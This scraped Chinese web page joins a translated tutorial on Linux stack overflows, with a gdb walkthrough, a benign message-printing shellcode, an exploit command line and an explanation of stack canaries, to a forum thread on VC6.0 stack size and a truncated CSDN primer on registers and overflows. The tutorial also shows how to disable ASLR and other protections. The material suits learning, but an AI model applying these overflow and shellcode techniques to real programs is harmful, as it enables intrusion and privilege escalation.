谁能帮我解释一下gcc的堆栈溢出检查机制

现代Linux操作系统的栈溢出(上) -
| 关注黑客与极客
现代Linux操作系统的栈溢出(上)
共396352人围观
,发现 15 个不明物体
译者注:本文源自《》中提到的一篇文章,即如何溢出有保护机制的linux,路径如下:,本着学习的目的,在学习过程中,翻译出来分享给大家。
另外为了区分Stack和Heap,在本人的所有文章中
“Stack”与“栈”对等
“Heap”与“堆”对等
因为曾经被人坑惨了,有些文章中把“Stack”翻译成“堆栈”,搞得我着实的晕了好久。
对C语言和x86_64有基本的了解。
&&&&本文主要向读者展示栈溢出的基础知识并解释目前现代的Linux发型版本的保护机制。基于上述原因,本文选择了最新的Ubuntu(12.10)作为目标机,因为它集成了很多默认的安全机制,并且它很流行易于安装和使用。平台采用的是x86_64。
通过本文读者可以学到在老版本的操作系统上,没有安装保护机制下,栈溢出是如何进行漏洞利用的。本文也将介绍在最新版的Ubuntu(12.10)中,个人保护机制的详情,并且会用一个例子来说明这些机制并不能够阻止栈溢出。溢出栈上的数据结构,从而可以控制程序运行。
&&&&虽然现今的漏洞利用方法已经不像过去那样经典的栈溢出方法了,事实上它更像是堆溢出或者是字符串格式化漏洞方法。虽然栈保护(Stack Smashing Protection)被用来阻止栈溢出,但是栈溢出还是会发生的。如果现在本文还未打动你,不用担心,我会在下面介绍更为详细的内容。
2 系统详细信息
有关不同版本的Ubuntu系统采用的默认安全机制情况请参考如下链接:
$&uname&-srp&&&&cat&/etc/lsb-release&|&grep&DESC&&&&gcc&--version&|&grep&gcc
Linux&3.5.0-19-generic&x86_64
DISTRIB_DESCRIPTION=&Ubuntu&12.10&
gcc&(Ubuntu/Linaro&4.7.2-2ubuntu1)&4.7.2
3. 经典栈溢出
&&&&让我们回到过去,生活轻松,栈帧在哪里等着被破坏。在栈上不正确的使用数据拷贝方法很容易导致程序被控制。这种情况没有多少保护机制存在的,例子如下所示:
$&cat&oldskool.c
#include&&string.h&
void&go(char&*data)
&&&&char&name[64];
&&&&strcpy(name,&data);
int&main(int&argc,&char&**argv)
&&&&go(argv[1]);
在测试之前,你需要在系统范围禁用ASLR,你可以按如下步骤来实现:
root@laptop:~#&echo&&0&&&&/proc/sys/kernel/randomize_va_space
root@laptop:~#&exit
在早期的操作系统中这一保护机制并不存在。因此为了展示这一历史上的例子需要将保护机制禁掉。如果想禁掉其他保护机制,你可以按如下方式编译程序。
$&gcc&oldskool.c&-o&oldskool&-zexecstack&-fno-stack-protector&-g
&&&&看上面的代码,我们发现在栈上有一个64个字节长度的缓冲区,并且第一个命令行参数已经拷贝到这一缓冲区。程序并没有检查参数长度是否大于64个字节,从而允许strcpy函数继续拷贝数据从而超过64个字节长度,进而将数据覆盖到64个字节相邻的栈存储区。这就是栈溢出。
&&&&现在为了获取程序的控制权,我们需要利用如下这一技术原理,在调用一个函数前,C程序会将该函数执行完成后下一个将要执行的指令地址压入栈中。()。我们管这个地址叫做返回地址或者是保存的指令指针(Saved Instruction Pointer)。在我们的例子中,保存的指令指针(该指令指针应该是在go函数执行后被执行)保存在紧挨着我们的name[64]数组,为什么会这样,主要是由栈的工作机制决定的。因此,如果用户可以用别的地址(通过命令行参数提供)覆盖这一地址,程序就会开始在此地址处执行。攻击者可以通过拷贝机器码格式的指令到缓冲区中,然后将返回地址指向这些指令,从而实现对程序的劫持。当程序执行完子函数,程序将继续执行攻击者提供的指令。此时攻击者可以让程序做任何事情,无论是为了乐趣还是为了金钱。
闲话少说,让我来给你展示一下,如果你对下面的命令不了解,你可以通过来学习如何使用gdb。
$&gdb&-q&./oldskool
Reading&symbols&from&/home/me/.hax/vuln/oldskool...done.
(gdb)&disas&main
Dump&of&assembler&code&for&function&main:
&&&0x053d&&+0&:&&&&&&&&&&&&&&&push&&&%rbp
&&&0x053e&&+1&:&&&&&&&&&&&&&&&mov&&&&%rsp,%rbp
&&&0x0541&&+4&:&&&&&&&&&&&&&&&sub&&&&$0x10,%rsp
&&&0x0545&&+8&:&&&&&&&&&&&&&&&mov&&&&%edi,-0x4(%rbp)
&&&0x0548&&+11&:&&&&&&&&&&&&&mov&&&&%rsi,-0x10(%rbp)
&&&0x054c&&+15&:&&&&&&&&&&&&&mov&&&&-0x10(%rbp),%rax
&&&0x0550&&+19&:&&&&&&&&&&&&&add&&&&$0x8,%rax
&&&0x0554&&+23&:&&&&&&&&&&&&&mov&&&&(%rax),%rax
&&&0x0557&&+26&:&&&&&&&&&&&&&mov&&&&%rax,%rdi
&&&0x055a&&+29&:&&&&&&&&&&&&&callq&&0x40051c
&&&0x055f&&+34&:&&&&&&&&&&&&&&leaveq
&&&0x0560&&+35&:&&&&&&&&&&&&&retq
End&of&assembler&dump.
(gdb)&break&*0x40055a
Breakpoint&1&at&0x40055a:&file&oldskool.c,&line&11.
(gdb)&run&myname
Starting&program:&/home/me/.hax/vuln/oldskool&myname
Breakpoint&1,&0x055a&in&main&(argc=2,&argv=0x7fffffffe1c8)
11&&&&&&&&&&&&&&&&go(argv[1]);
(gdb)&x/i&$rip
=&&0x40055a&:&&&&&&&&&&callq&&0x40051c
(gdb)&i&r&rsp
rsp&&&&&&&&&&&&0x7fffffffe0d0&&&&&&&&&&&&&&&0x7fffffffe0d0
go&(data=0xc2&)&at&oldskool.c:4
4&&&&&&&&&&&&&&void&go(char&*data)&{
(gdb)&i&r&rsp
rsp&&&&&&&&&&&&0x7fffffffe0c8&&&&&&&&&&&&&&&0x7fffffffe0c8
(gdb)&x/gx&$rsp
0x7fffffffe0c8:&&&&&&&&&0x055f
&&&&我们在调用go函数前打断点,位置为0x055a &+29&,然后我们运行程序,启动参数为“myname”,在调用go函数前程序暂停了。我们执行一个指令(si)然后查看栈顶指针(rsp),它现在指向的地址包含了callq函数执行完成后的地址0x055f &+34&,这一地址就是前文所述的返回地址。
&&&&如下展示的是go函数的情况,它会执行“retq”指令,该指令会将该指针出栈,然后执行该指针指向的地址。
(gdb)&disas&go
Dump&of&assembler&code&for&function&go:
=&&0x051c&&+0&:&&&&&&&&&&&&&&&push&&&%rbp
&&&0x051d&&+1&:&&&&&&&&&&&&&&&mov&&&&%rsp,%rbp
&&&0x0520&&+4&:&&&&&&&&&&&&&&&sub&&&&$0x50,%rsp
&&&0x0524&&+8&:&&&&&&&&&&&&&&&mov&&&&%rdi,-0x48(%rbp)
&&&0x0528&&+12&:&&&&&&&&&&&&&mov&&&&-0x48(%rbp),%rdx
&&&0x052c&&+16&:&&&&&&&&&&&&&lea&&&&-0x40(%rbp),%rax
&&&0x0530&&+20&:&&&&&&&&&&&&&mov&&&&%rdx,%rsi
&&&0x0533&&+23&:&&&&&&&&&&&&&mov&&&&%rax,%rdi
&&&0x0536&&+26&:&&&&&&&&&&&&&callq&&0x4003f0
&&&0x053b&&+31&:&&&&&&&&&&&&&leaveq
&&&0x053c&&+32&:&&&&&&&&&&&&&retq
End&of&assembler&dump.
(gdb)&break&*0x40053c
Breakpoint&2&at&0x40053c:&file&oldskool.c,&line&8.
(gdb)&continue
Continuing.
Breakpoint&2,&0x053c&in&go&(data=0x7fffffffe4b4&&myname&)
8&&&&&&&&&&&&&&}
(gdb)&x/i&$rip
=&&0x40053c&:&&&&&&&&&&retq
(gdb)&x/gx&$rsp
0x7fffffffe0c8:&&&&&&&&&0x055f
main&(argc=2,&argv=0x7fffffffe1c8)&at&oldskool.c:12
12&&&&&&&&&&&&}
(gdb)&x/gx&$rsp
0x7fffffffe0d0:&&&&&&&&&0x00007fffffffe1c8
(gdb)&x/i&$rip
=&&0x40055f&:&&&&&&&&&&leaveq
(gdb)&quit
&&&&我们在go函数返回前设置了断点。程序会在执行“retq”指令前暂停下来。我们可以看到栈指针(rsp)会指向main函数中调用go函数完成后的地址。“retq”指令执行后,我们可以发现,程序将返回地址出栈,然后跳转到这一地址执行。现在我们覆盖这一地址,使用perl编程来提供超过32个字节长度的数据。
$&gdb&-q&./oldskool
Reading&symbols&from&/home/me/.hax/vuln/oldskool...done.
(gdb)&run&`perl&-e&'print&&A&x48'`
Starting&program:&/home/me/.hax/vuln/oldskool&`perl&-e&'print&&A&x48'`
Program&received&signal&SIGSEGV,&Segmentation&fault.
0x059c&in&go&(data=0x7fffffffe49a&'A'&)
12&&&&&&&&&&&&}
(gdb)&x/i&$rip
=&&0x40059c&:&&&&&&&&&&retq
(gdb)&x/gx&$rsp
0x7fffffffe0a8:&&&&&&&&&0x4141
&&&&我们用perl输出的字符串“AAAA…”共计80个,然后将这一字符串作为参数来启动我们的样例程序。可以看到,当他执行go函数中的“retq”指令时,程序崩溃了,因为这一返回地址被我们用字符“A”(0×41)覆盖了。注意,我们写入的是80个字节(64+8+8),因为在64位机上,指针的长度是8个字节。同时实际上在我们的name缓存和保存的指令指针之间还保存了另外一个指针。
&&&&现在我们可以将执行路径重定向到我们期望的任何位置。我们该如何通过此方式使程序执行我们的指令?如果将我们的机器码指令放在name[]缓冲区中然后,用此缓冲区的地址来重写返回地址,那么当当程序执行完go函数,就会继续执行我们的指令(shellcode)。因此我们需要创建一个shellcode并且我们需要知道name[]缓冲区的地址,因为我们需要用这个地址值来重写返回地址。我不会创建真正的shellcode,因为这有点超出了本指南的范围,但是我会用向屏幕上显示一行消息来表示我们的shellcode。可以采用如下方法来确定name[]缓冲区的地址。
(gdb)&p&&name
$2&=&(char&(*)[32])&0x7fffffffe0a0
&&&&我们可以利用perl通过转义的方式(”\x41”)将不可打印的字符打印到命令行。此外,由于机器采用小端字节序来保存整数和指针,因此我们需要将我们的字节序调整到小端字节序。综上,我们需要写入到返回地址的内容为:
&\xa0\xe0\xff\xff\xff\x7f&
如下为shellcode,他将会向屏幕上输出我们的消息,然后退出。
&\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21&
&&&&注意上述仅仅是机器码的格式,他们可以被perl打印输出。因为上述shellcode是45个字节长度,但是我们要覆盖SIP的话,需要先提供一个72个字节长度的数据,因此我们需要追加27个字节的数据作为填充。因此最终的字符串可以像如下这样。
&\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21& . &A&x27 . &\xa0\xe0\xff\xff\xff\x7f&
&&&&当go函数执行完成后,程序会跳转到0x7fffffffe0a0处,这个地址是name[]缓冲区的开始位置,已经填充了我们的机器码。它会执行我们的机器码来输出我们的消息,然后退出程序。让我们来试一下(注意,执行时删除所有的换行符。)
$&./oldskool&`perl&-e&`&print&&\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21&&.&&A&x27&.&&\xa0\xe0\xff\xff\xff\x7f&'`
4. 保护机制
&&&&欢迎回到2012(译注:本文写于2012年,现在应该说欢迎回到2014)。上述样例不在有效工作了,在我们的ubuntu系统中,这有很多不同的保护机制,而这种类型的漏洞甚至不再以这种形式存在了。栈上的溢出仍然可以发生,仍然有利用他们的方法。这就是在本节中我要介绍给你的,首先来看一下不同的保护方案。
[4.1 栈溢出保护]
&&&&在上面的例子中,我们使用了-fno-stack-protector标志来告诉gcc我们不想一栈溢出保护机制进行编译。如果我们不指定这一标志,会发生什么?请注意,这种情况下ASLR重新开启了,一切都被设置为默认值。
$&gcc&oldskool.c&-o&oldskool&-g
让我们用gdb看一眼二进制代码,看看发生了什么?
$&gdb&-q&./oldskool
Reading&symbols&from&/home/me/.hax/vuln/oldskool...done.
(gdb)&disas&go
Dump&of&assembler&code&for&function&go:
&&&0x058c&&+0&:&&&&&&&&&&&&&&&push&&&%rbp
&&&0x058d&&+1&:&&&&&&&&&&&&&&&mov&&&&%rsp,%rbp
&&&0x0590&&+4&:&&&&&&&&&&&&&&&sub&&&&$0x60,%rsp
&&&0x0594&&+8&:&&&&&&&&&&&&&&&mov&&&&%rdi,-0x58(%rbp)
&&&0x0598&&+12&:&&&&&&&&&&&&&mov&&&&%fs:0x28,%rax
&&&0x05a1&&+21&:&&&&&&&&&&&&&mov&&&&%rax,-0x8(%rbp)
&&&0x05a5&&+25&:&&&&&&&&&&&&&xor&&&&%eax,%eax
&&&0x05a7&&+27&:&&&&&&&&&&&&&mov&&&&-0x58(%rbp),%rdx
&&&0x05ab&&+31&:&&&&&&&&&&&&&lea&&&&-0x50(%rbp),%rax
&&&0x05af&&+35&:&&&&&&&&&&&&&&mov&&&&%rdx,%rsi
&&&0x05b2&&+38&:&&&&&&&&&&&&&mov&&&&%rax,%rdi
&&&0x05b5&&+41&:&&&&&&&&&&&&&callq&&0x400450
&&&0x05ba&&+46&:&&&&&&&&&&&&&mov&&&&-0x8(%rbp),%rax
&&&0x05be&&+50&:&&&&&&&&&&&&&xor&&&&%fs:0x28,%rax
&&&0x05c7&&+59&:&&&&&&&&&&&&&je&&&&&0x4005ce
&&&0x05c9&&+61&:&&&&&&&&&&&&&callq&&0x400460&&__stack_chk_fail@plt&
&&&0x05ce&&+66&:&&&&&&&&&&&&&leaveq
&&&0x05cf&&+67&:&&&&&&&&&&&&&&retq
End&of&assembler&dump.
如果我们看一下go函数的&+12&和&+21&的反编译代码,我们发现数据来自$fs+0×28或者%fs:0×28处。这一地址真正的指向位置并不重要,现在我要说明的是fs指向了由内核维护的结构,而且我们无法通过gdb来查看fs的值。对我们来说更重要的是,这个位置存储了一个我们不可预测的随机值,如下所示,可见用gdb单步运行两次输出的fs值不相同。
(gdb)&break&*0x0598
Breakpoint&1&at&0x400598:&file&oldskool.c,&line&4.
Starting&program:&/home/me/.hax/vuln/oldskool
Breakpoint&1,&go&(data=0x0)&at&oldskool.c:4
4&&&&&&&&&&&&&&void&go(char&*data)&{
(gdb)&x/i&$rip
=&&0x400598&:&&&&&&&&&&mov&&&&%fs:0x28,%rax
0x05a1&&&&&&&&&&&&&&&4&&&&&&&&&&&&&&void&go(char&*data)&{
(gdb)&i&r&rax
rax&&&&&&&&&&&&0xd000&&&&&3547392
The&program&being&debugged&has&been&started&already.
Start&it&from&the&beginning?&(y&or&n)&y
Starting&program:&/home/me/.hax/vuln/oldskool
Breakpoint&1,&go&(data=0x0)&at&oldskool.c:4
4&&&&&&&&&&&&&&void&go(char&*data)&{
0x05a1&&&&&&&&&&&&&&&4&&&&&&&&&&&&&&void&go(char&*data)&{
(gdb)&i&r&rax
rax&&&&&&&&&&&&0x21f95d1abb2a0800&&&&&3202048
&&&&我们在将$fs+0×28的数据项rax中赋值前打断点,然后执行,查看rax的值,然后再重复执行一次,就能发现两次运行时rax中值得不同。从而说明,fs中的数据值在每次运行中都是不同的,意味着攻击者不能准确的预测它。那么这个值是如何用来保护栈的呢?通过go函数中反汇编代码&+21&可以发现数值被拷贝到了栈上,位于-0×8(%rbp)上。我们发现这一随机值是放在了函数的局部变量和保存的指令指针(译注:此处指返回地址和EBP)之间。这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。(译注:有关金丝雀和矿工,请参考此链接)。与上述情况类似,当栈溢出发生时,金丝雀值将在已保存的指令指针被重写前先挂掉。如果我们看一眼go函数的&46&和&50&行汇编代码,我们看到会从栈中读那个值与原有值比较,如果这两个值一致,金丝雀(canary)没有被修改,从而认为保存的指令指针也没有被修改,进而允许函数正常的返回。如果金丝雀(canary)的值被修改了,栈溢出发生了,保存的指令指针可能也被修改了,因此不能安全返回,函数会调用__stack_chk_fail函数。这个函数会做些魔术,然后丢出一个错误退出进程。如下所示:
$&./oldskool&`perl&-e&'print&&A&x80'`
***&stack&smashing&detected&***:&./oldskool&terminated
Aborted&(core&dumped)
&&&&回顾上面,缓冲区溢出了,而且数据覆盖了金丝雀值(canary)和保存的指令指针。然而,在覆盖SIP之前,程序发现金丝雀(canary)值被篡改了,然后就安全的退出了。现在,坏消息是在这种情况下,攻击者没有什么好的方法。你可能会想到暴力破解金丝雀(canar)的值,但是在这种情况下,金丝雀的值在每次程序运行时都是不同的,只有极端幸运的时候才能猜中金丝雀的值。那样会花费些时间,而且并不隐蔽。好消息是,在很多情况下,上述保护机制并不足以阻止漏洞利用。例如,栈中的金丝雀仅仅用来保护SIP,但并未保护应用变量,这会导致另外一种可利用条件,后面会展示。oldskool程序的溢出方法在这种保护机制前,已经不再有效了。
摘要:前半部分介绍经典的栈溢出情形,然后介绍了栈溢出的保护技术。其中“金丝雀”是本文的key,这名子起的真是太恰当了,从技术的角度看,有四两拨千斤的效果。
必须您当前尚未登录。
必须(保密)
这家伙太懒,还未填写个人描述!
关注我们 分享每日精选文章新手园地& & & 硬件问题Linux系统管理Linux网络问题Linux环境编程Linux桌面系统国产LinuxBSD& & & BSD文档中心AIX& & & 新手入门& & & AIX文档中心& & & 资源下载& & & Power高级应用& & & IBM存储AS400Solaris& & & Solaris文档中心HP-UX& & & HP文档中心SCO UNIX& & & SCO文档中心互操作专区IRIXTru64 UNIXMac OS X门户网站运维集群和高可用服务器应用监控和防护虚拟化技术架构设计行业应用和管理服务器及硬件技术& & & 服务器资源下载云计算& & & 云计算文档中心& & & 云计算业界& & & 云计算资源下载存储备份& & & 存储文档中心& & & 存储业界& & & 存储资源下载& & & Symantec技术交流区安全技术网络技术& & & 网络技术文档中心C/C++& & & GUI编程& & & Functional编程内核源码& & & 内核问题移动开发& & & 移动开发技术资料ShellPerlJava& & & Java文档中心PHP& & & php文档中心Python& & & Python文档中心RubyCPU与编译器嵌入式开发驱动开发Web开发VoIP开发技术MySQL& & & MySQL文档中心SybaseOraclePostgreSQLDB2Informix数据仓库与数据挖掘NoSQL技术IT业界新闻与评论IT职业生涯& & & 猎头招聘IT图书与评论& & & CU技术图书大系& & & Linux书友会二手交易下载共享Linux文档专区IT培训与认证& & & 培训交流& & & 认证培训清茶斋投资理财运动地带快乐数码摄影& & & 摄影器材& & & 摄影比赛专区IT爱车族旅游天下站务交流版主会议室博客SNS站务交流区CU活动专区& & & Power活动专区& & & 拍卖交流区频道交流区
白手起家, 积分 13, 距离下一级还需 187 积分
论坛徽章:0
&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp
论坛徽章:1
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
不定义那么大数组呗。定义那么大数组真的有用吗?先问问你自己。
稍有积蓄, 积分 262, 距离下一级还需 238 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
在静态区或者heap上分配不行吗?
大富大贵, 积分 12880, 距离下一级还需 7120 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
[quote]原帖由 &twen345&]在静态区或者heap上分配不行吗?[/quote 发表:
倘若真的非用不可,heap应该是最好的选择了吧,用完了可以及时释放。
富足长乐, 积分 5877, 距离下一级还需 2123 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
[quote]原帖由 &天才篮球手&]定义数组太大,就会造成堆栈溢出[/quote 发表:
1.既然知道原因,那就不要定义那么大的数组;
2.如果必须定义,那么不要定义在栈里面;
3.如果必须定义在栈里面,那么修改编译参数;
4.如果修改了参数都不行,那么修改算法;
5.如果算法修改了也不行,那么变更需求;
6.如果需求不能变更,那么脱离那个项目组或公司;
7.如果换了工作都不行,那么脱离这个行业。
白手起家, 积分 13, 距离下一级还需 187 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
有用,我需要做数值计算。我试过在GCC上可以。
白手起家, 积分 20, 距离下一级还需 180 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
malloc不就OK了?
白手起家, 积分 13, 距离下一级还需 187 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
在VC6.0 Project-&;setting-&;有个links选项卡里面可以在stack allocations
处设置大小,单位为bytes
稍有积蓄, 积分 262, 距离下一级还需 238 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
FH老师说得太好玩了
修改编译参数时不是很复杂呀,听起来好高深
家境小康, 积分 1945, 距离下一级还需 55 积分
论坛徽章:0
VC6.0下的堆栈是1M,定义数组太大,就会造成堆栈溢出,怎么办?
原帖由 &twen345& 发表:
FH老师说得太好玩了
修改编译参数时不是很复杂呀,听起来好高深
以前习惯用IDE的时候,觉得编译参数好复杂啊。
现在习惯命令行,呵呵,编译参数就是man一下,然后在gcc下加一下。
北京盛拓优讯信息技术有限公司. 版权所有 京ICP备号 北京市公安局海淀分局网监中心备案编号:22
广播电视节目制作经营许可证(京) 字第1234号
中国互联网协会会员&&联系我们:
感谢所有关心和支持过ChinaUnix的朋友们
转载本站内容请注明原作者名及出处堆栈溢出攻击原理 - CSDN博客
堆栈溢出攻击原理
eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。
比方说:add eax,-2&;&& //可以认为是给变量eax加上-2这样的一个值。
这些32位寄存器有多种用途,但每一个都有“专长”,有各自的特别之处。
EAX&是&累加器&(accumulator), 它是很多加法乘法指令的缺省寄存器。
EBX&是&基地址&(base)寄存器, 在内存寻址时存放基地址。
ECX&是计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。
EDX&则总是被用来放整数除法产生的余数。
ESI/EDI分别叫做&源/目标索引寄存器&(source/destination index),因为在很多字符串操作指令中, DS:ESI指向源串,而ES:EDI指向目标串.
EBP是&基址指针&(BASE POINTER), 它最经常被用作高级语言函数调用的&框架指针&(frame pointer).&在破解的时候,经常可以看见一个标准的函数起始代码:
保存当前ebp
mov ebp,EBP设为当前堆栈指针
sub esp,预留xxx字节给函数临时变量.
这样一来,EBP 构成了该函数的一个框架, 在EBP上方分别是原来的EBP, 返回地址和参数. EBP下方则是临时变量. 函数返回时作 mov esp,ebp/pop ebp/ret 即可.
ESP&专门用作堆栈指针,被形象地称为栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP也就越来越小。在32位平台上,ESP每次减少4字节。
esp:寄存器存放当前线程的栈顶指针
ebp:寄存器存放当前线程的栈底指针
eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。
一般寄存器:AX、BX、CX、DX
AX:累積暫存器,BX:基底暫存器,CX:計數暫存器,DX:資料暫存器
索引暫存器:SI、DI&
SI:來源索引暫存器,DI:目的索引暫存器&
堆疊、基底暫存器:SP、BP&
SP:堆疊指標暫存器,BP:基底指標暫存器&
EAX、ECX、EDX、EBX:為ax,bx,cx,dx的延伸,各為32位元&
ESI、EDI、ESP、EBP:為si,di,sp,bp的延伸,32位元
栈的基本模型
函数参数入栈的顺序与具体的调用方式有关
返回本次调用后,下一条指令的地址
保存调用者的EBP,然后EBP指向此时的栈顶。
临时变量…
EIP,EBP,ESP都是系统的寄存器,里面存的都是些地址。
&为什么要说这三个指针,是因为我们系统中栈的实现上离不开他们三个。
&我们DC上讲过栈的数据结构,主要有以下特点:
&后进先处。(这个强调过多)
其实它还有以下两个作用:
&1.栈是用来存储临时变量,函数传递的中间结果。
&2.操作系统维护的,对于程序员是透明的。
我们可能只强调了它的后进先出的特点,至于栈实现的原理,没怎么讲?下面我们就通过一个小例子说说栈的原理。
先写个小程序:
void fun(void)
&& printf(&hello world&);
void main(void)
& printf(&函数调用结束&);
这是一个再简单不过的函数调用的例子了。
当程序进行函数调用的时候,我们经常说的是先将函数压栈,当函数调用结束后,再出栈。这一切的工作都是系统帮我们自动完成的。
但在完成的过程中,系统会用到下面三种寄存器:
当调用fun函数开始时,三者的作用。
1.EIP寄存器里存储的是CPU下次要执行的指令的地址。
&也就是调用完fun函数后,让CPU知道应该执行main函数中的printf(&函数调用结束&)语句了。
2.EBP寄存器里存储的是是栈的栈底指针,通常叫栈基址,这个是一开始进行fun()函数调用之前,由ESP传递给EBP的。(在函数调用前你可以这么理解:ESP存储的是栈顶地址,也是栈底地址。)
3.ESP寄存器里存储的是在调用函数fun()之后,栈的栈顶。并且始终指向栈顶。
当调用fun函数结束后,三者的作用:
1.系统根据EIP寄存器里存储的地址,CPU就能够知道函数调用完,下一步应该做什么,也就是应该执行main函数中的printf(“函数调用结束”)。
2.EBP寄存器存储的是栈底地址,而这个地址是由ESP在函数调用前传递给EBP的。等到调用结束,EBP会把其地址再次传回给ESP。所以ESP又一次指向了函数调用结束后,栈顶的地址。
其实我们对这个只需要知道三个指针是什么就可以,可能对我们以后学习栈溢出的问题以及看栈这方面的书籍有些帮助。当有人再给你说EIP,ESP,EBP的时候,你不能一头雾水,那你水平就显得洼了许多。其实不知道我们照样可以编程,因为我们是C级别的程序员,而不是ASM级别的程序员
通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是一个黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。
他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得rootshell的技术,已经被很多实例实现。
在windows系统中,同样存在着堆栈溢出的问题。而且,随着internet的普及,win系列平台上的internet服务程序越来越多,低水平的win程序就成为你系统上的致命伤因为它们同样会被远程堆栈溢出,而且,由于win系统使用者和管理者普遍缺乏安全防范的意识,一台win系统上的堆栈溢出,如果被恶意利用,将导致整个机器被敌人所控制。进而,可能导致整个局域网落入敌人之手。
本系列讲座将系统的介绍堆栈溢出的机制,原理,应用,以及防范的措施。希望通过我的讲座,大家可以了解和掌握这项技术。而且,会自己去寻找堆栈溢出漏洞,以提高系统安全。
堆栈溢出系列讲座
本讲的预备知识:
首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。
你必须有堆栈和存储分配方面的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。
其次,你应该了解linux,本讲中我们的例子将在linux上开发。
1:首先复习一下基础知识。
从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配在堆栈里面。
从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。
在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。
在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压b,最后压a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)
2:好了,继续,让我们来看一看什么是堆栈溢出。
2.1:运行时的堆栈分配
堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据越界。结果覆盖了老的堆栈数据。
比如有下面一段程序:
int main ( )
char name[8];
printf(&Please type your name: &);
gets(name);
printf(&Hello, %s!&, name);
编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢?
在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。
我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句
pushl %ebp
movl %esp,%ebp
subl $8,%esp
首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈的布局如下:
内存底部 内存顶部
name EBP ret&
&------ [ ][ ][ ]
堆栈顶部 堆栈底部&
执行完gets(name)之后,堆栈如下:
内存底部 内存顶部
name EBP ret&
&------ [ipxodi/0 ][ ][ ]
堆栈顶部 堆栈底部&
最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。
2.2:堆栈溢出
好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
gets(name)
之后,堆栈如下:
内存底部 内存顶部
name EBP ret&
&------ [ipxodiAA][AAAA][AAAA].......
堆栈顶部 堆栈底部&
由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的老的元素。如图我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把‘AAAA’的ASCII码:0x作为返回地址,CPU会试图执行0x处的指令,结果出现错误。这就是一次堆栈溢出。
3:如何利用堆栈溢出
我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。
在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。
